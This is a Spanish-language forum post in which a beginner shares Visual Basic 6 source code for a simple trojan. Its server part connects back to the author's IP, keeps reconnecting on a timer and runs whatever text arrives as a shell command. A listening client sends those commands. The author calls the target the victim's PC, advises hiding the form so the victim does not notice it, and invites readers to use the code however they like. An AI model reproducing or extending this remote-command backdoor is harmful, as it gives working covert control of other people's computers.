Antes que nada, aclaro que esto lo hice en parte con lo que aprendi de manuales, y algunas partes de otros codigos que lei y logré entender. No me interesa si lo publican donde quieran como propio ya que la idea de lo que a continuacion voy a publicar tiene como objetivo, por sobre todas las cosas, contribuir al conocimiento y a la formacion de quien le interese.
No soy un profesional, y no llevo mas de 6 meses investigando en este tema.
Lo publico por dos razones: compartirlo con el resto de la comunidad de este foro, la cual me ah dado las bases para crear este mini codigo; y para tomar criticas, sugerencias, etc.
Publique el tema como "Troyano", pero no estoy muy seguro que funcione como tal, o por lo menos no es el unico uso que se le puede dar al codigo. Tengo miles de ideas, pero de eso encarguense ustedes, yo les dejo la base, usenlo como quieran, para lo que quieran.
El programa, asi como esta, lo que hace basicamente es dar comandos CMD en la PC victima. Es algo completamente sencillo, y los usos no son muy grandes, pero la idea es ver como funcionan los Winsocks, y ver como se crea la conexion, de ahi en mas, pueden crear infinidades de cosas en el codigo, como crear commadbuttons en el Cliente para automatizar lineas de codigos que se ejecutaran en el server (como ser el uso de "telnet", el cual no voy a explicar, hay hermosos manuales y tutoriales dentro de este foro, o mismo el uso del siempre util, NetCat, el cual previamente deberia estar dentro de la PC victima.. pero este es otro tema). En Fin, imaginen y creen.
Trato de ser lo mas detallado posible para quienes no son grandes conocedores de Programacion en VB.
Bueno, no los aburro mas con la charla.
Como todo troyano, consta de dos partes: Cliente y Servidor.
Empezamos con el servidor:
Tenemos que agregar el Complemento "Microsoft Winsock Control" al cual yo le llamé "WS" en PROJECT > COMPONENTS O con el atajo CONTROL+T y un timer.
'cargando el Form, especificamos IP y puerto a conectar el Winsock (al cual yo llame "WS")
Private Sub Form_Load()
Dim ip As String
Dim port As Integer
On Error Resume Next
ip = "ACÁ VA TU IP" 'especificamos la IP a la que se conectara el servidor
port = 21 'yo eleji el puerto 21 para dar un ejemplo, usen el que mas les guste o crean conveniente
WS.RemoteHost = ip
WS.RemotePort = port
WS.Connect 'conectamos el winsock
Timer1.Interva
l = 600 'activamos el timer1 a 600 milisegundos (abajo vemos que hace el timer)
End Sub
' timer que se encarga de mantener la conexion constantemente abierta
Private Sub Timer1_Timer()
If Not WS.State = 7 Then 'si el winsock NO esta Conectado
WS.Close 'lo cerramos
WS.Connect 'lo abrimos
Else
End If
End Sub
'una vez conectado el winsock
'manejamos los datos que lleguen desde el Cliente
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
On Error GoTo error
Dim datos As String
WS.GetData datos 'los datos recibidos los manejaremos como "datos"
'Un pequeño "If datos" de ejemplo.
If datos = "hola" Then
MsgBox "Hola

"
Else
End If
Shell datos 'el resto de los datos se ejecutan como CMD lines.
error:
End Sub
Ahi vemos como se conecta el Winsock a un host que le especificamos con nuestra IP o DNS y el puerto; y un timer que reconecta en caso de perderse la conexión; y el manejo de los datos recibvidos desde el Cliente. (NOTA: Si lo van a usar como un troyano, recuerden poner en las propiedades del Form Visible a FALSE, para que la victima no vea el troyano ejecutandose)
Vamos con el Cliente:
Van a nacesitar: Un winsock(ya explique como se agrega), 2 CommandButton, un text box, un Timer y una Label.
'Comandbutton que se encarga de enviar los datos
Private Sub enviar_Click()
On Error GoTo error
WS.SendData tb1.Text 'enviamos los datos tipeados en el textbox, al cual llame "tb1"
error:
If Not WS.State = 7 Then 'Si hay un error ponemos el label1 a "desconectado"
Label1.Caption = "Desconectado..
."
End If
End Sub 'NOTA: NO llamamos a la reconexion, de eso se encarga el Timer
'Ponemos el cliente a la escucha con el button "escuchar"
Private Sub escuchar_Click()
On Error Resume Next
Label1.Caption = "Escuchando..." 'Ponemos la label1 en "Escuchando.."
WS.LocalPort = 6000 'elegimos el puerto (como antes, elijan el que mas les guste)
WS.Close 'cerramos el Winsock
WS.Listen 'y lo volvemos a abrir (evitamos errores)
Timer1.Interva
l = 3000 'le decimos al timer1 que se ejecute cada 3000 milisegundos (3 segundos)
End Sub
'Timer que se encarga de reconectar en caso de perder la conexion
Private Sub Timer1_Timer()
On Error GoTo error
If Not WS.State = 7 Then
Label1.Caption = "Se perdio la conexion.. Escuchando" 'Cambiamos el label1
Call escuchar_Click 'Llamamos al "escuchar_Click para la reconexion"
Else
End If
error:
End Sub
'Conectado al server
Private Sub ws_ConnectionR
equest(ByVal requestID As Long)
On Error GoTo error
Label1.Caption = "Conectado" 'label1 a "Conectado"
WS.Close 'cerramos el Winsock
WS.Accept requestID 'aceptamos la conexion
Timer1.Interva
l = 3000 'ponemos el timer1 a 3000 ms
error:
End Sub
Creo que esta mas que claro como funciona el Cliente, si lograron entender el server.
Bueno.. Eso es el primer programa con controles Winsock que logre hacer. Es sencillo, y poco util, pero hay que caminar para aprender a correr, no?.
Escucho criticas, detalles, consultas, etc..
Un saludo a todos, y gracias a los miembros de la comunidad por ayudarme a crear este programita, que si bien no es WOW, es un comienzo..